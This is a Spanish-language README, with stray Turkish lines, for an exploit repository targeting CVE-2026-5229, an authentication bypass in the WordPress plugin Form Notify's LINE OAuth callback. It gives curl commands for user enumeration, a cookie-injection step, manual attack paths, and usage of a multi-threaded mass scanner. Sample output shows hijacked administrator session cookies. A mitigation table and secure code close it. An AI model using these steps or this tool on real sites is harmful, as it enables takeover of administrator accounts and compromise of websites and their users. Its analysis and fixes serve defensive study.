
CVE-2026-5229: Bypass de autenticación de Form Notify a través de LINE OAuth Callback (CVSS 9.8)
CVE-2026-5229: Bypass de Autenticación de Form Notify a través de la devolución de llamada de OAuth de LINE (CVSS 9.8)
Plugin: Form Notify (
form-notify) Tipo de vulnerabilidad: Bypass de Autenticación de LINE OAuth no autenticado → Toma de cuenta (Account Takeover) Puntuación CVSS: 9.8 (Crítico) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersiones afectadas: <= 1.1.10 Versión parcheada: 1.1.11+ Investigador: Paolo Tresso — Wordfence
El plugin Form Notify es un plugin de WordPress que envía notificaciones después del envío de formularios y ofrece integración con LINE Login OAuth 2.0.
La vulnerabilidad se encuentra en el manejador de devolución de llamada de LINE OAuth. Después de que el usuario completa el flujo de autorización de LINE, el plugin resuelve la cuenta de WordPress solo según la dirección de correo electrónico. Nunca verifica si esa cuenta de LINE ha sido asociada previamente con esa cuenta de WordPress.
| Versión | Vulnerabilidad | Método de ataque |
|---|---|---|
| <= 1.1.08 | Inyección de Cookie + Coincidencia de Email | Path A o Path B |
| 1.1.09 – 1.1.10 | Coincidencia de Email (cookie eliminada) | Path B |
| 1.1.11+ | Parcheada | — |
LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // no se requiere autenticación
},
),
);
Los nonces de WordPress son tokens CSRF, no tokens de autenticación. Cada visitante puede obtener un nonce válido del HTML de la página y pasar la verificación.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // solo búsqueda por email
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // NO hay verificación de vinculación
}
return false;
}
Si se encuentra una coincidencia, el método login() abre la sesión inmediatamente:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Cuando el perfil de LINE no devuelve email ($user->email vacío),
el plugin lee directamente la cookie del navegador.
El atacante controla completamente esta cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Si no hay Transient, recurre a $_SESSION
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Si el tiempo de vida del Transient ha expirado, se activa el fallback a $_SESSION.
En la mayoría de las instalaciones de WordPress, $_SESSION no está lleno en este punto →
la verificación de state puede ser eludida.
// método sign_up()
$userdata = array(
'user_pass' => $user_email, // contraseña = dirección de correo
...
);
En las cuentas creadas mediante el flujo OAuth de LINE, la contraseña es igual a la dirección de correo electrónico. Esto permite directamente ataques de fuerza bruta o de inicio de sesión.
| Razón | Descripción |
|---|---|
| No requiere autenticación | El endpoint de callback es completamente público |
| Sin verificación de vinculación | Cualquier cuenta de LINE es suficiente |
| Ataque de Cookie | En <= 1.1.08 ni siquiera se necesita email |
| Todas las cuentas, incluido admin | get_user_by('email') afecta a todos |
| Control de state débil | La protección CSRF puede ser eludida |
| Email = Contraseña | Las cuentas creadas con OAuth son vulnerables a fuerza bruta trivial |
⚠️ Aviso legal: Esta PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Realizar pruebas en sistemas sin permiso explícito es ilegal.
Requisitos previos:
TARGET="https://target.com"
# Lista de usuarios desde la API REST de WordPress
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# O páginas de autor
curl -s "$TARGET/?author=1" -I | grep Location
Abre las herramientas de desarrollador del navegador y pega en la consola:
document.cookie = "[email protected]; path=/";
O con curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Abre en el navegador la URL de OAuth de LINE que está en el header Location.
En la pantalla de consentimiento de LINE, no otorgues el permiso de email, o usa una cuenta de LINE sin email. LINE redirige al callback sin email. El plugin cae en la cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Respuesta esperada:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Igual que el Paso 1 del Path A.
Crea una cuenta de LINE en account.line.biz con el email objetivo. (Requiere verificación de email — es necesario acceso a la bandeja de entrada objetivo.)
https://target.com/wp-json/form-notify/v1/login
En la pantalla de consentimiento de LINE, otorga el permiso de email. LINE devuelve la dirección de correo en el callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrador encontrado
→ wp_set_auth_cookie(1)
→ Sesión iniciada ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| Parámetro | Corto | Descripción | Predeterminado |
|---|---|---|---|
--url | -u | URL del objetivo único | — |
--list | -l | Archivo de lista de objetivos | — |
--threads | -t | Número de hilos | 10 |
--output | -o | Archivo de salida | auth_bypass.txt |
--email | — | Email del usuario objetivo | descubrimiento automático |
--path | — | Ruta de ataque (A / B / both) | both |
--max-users | — | Máximo de usuarios por objetivo | 5 |
--proxy | — | URL del proxy | — |
--timeout | — | Tiempo de espera de la solicitud (seg) | 10 |
| Estado | Descripción |
|---|---|
★ AUTH OK | Cookie de sesión obtenida — completamente automático |
★ WP-ADMIN | Redirigido a /wp-admin |
~ MANUAL | URL de OAuth lista, completar en el navegador |
~ PATH B | Pasos manuales con cuenta de LINE |
- NO_PLUGIN | Form Notify no está instalado |
- NO_LINE | LINE Login no está activo |
~ NO_TARGET | No se encontró el email del usuario |
~ UNREACH | No se puede alcanzar el objetivo |
[*] 3 objetivos | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Email objetivo : [email protected]
Versión : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Usuario : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Finalización manual)
Email objetivo : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login no activo)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Bypass de autenticación → auth_bypass.txt
──────────────────────────────────────────────────────────────
| Medida | Implementación |
|---|---|
| Actualización del plugin | Actualizar a la versión 1.1.11+ de Form Notify |
| Control de vinculación LINE | Guardar el ID de LINE en los metadatos del usuario, verificar en cada inicio de sesión |
| Eliminar fallback de Cookie | Eliminar el uso de $_COOKIE['form_notify_line_email'] |
| Validación de State | Eliminar el fallback de Transient, rechazar state caducado |
| Política de contraseñas | No usar el email como contraseña en sign_up() |
| Protección del endpoint REST | Aplicar limitación de velocidad al endpoint de callback |
Ejemplo de resolución segura de cuenta:
// Inseguro (actual)
$user = get_user_by( 'email', $line_email );
// Seguro (recomendado)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // Coincidir con el ID de LINE
) );
form-notify-bypass/
├── form_notify_rce.py # Escáner principal
├── requirements.txt # Dependencias
└── README.md # Este archivo
Esta herramienta y PoC han sido preparados únicamente para su uso en sistemas autorizados, con fines educativos y dentro del alcance de pruebas de penetración. Su uso en sistemas no autorizados constituye un delito según los artículos 243-245 del Código Penal Turco y las leyes internacionales de delitos cibernéticos. El desarrollador no acepta ninguna responsabilidad legal derivada del mal uso de la herramienta.
Licencia MIT — Solo para fines educativos y de investigación.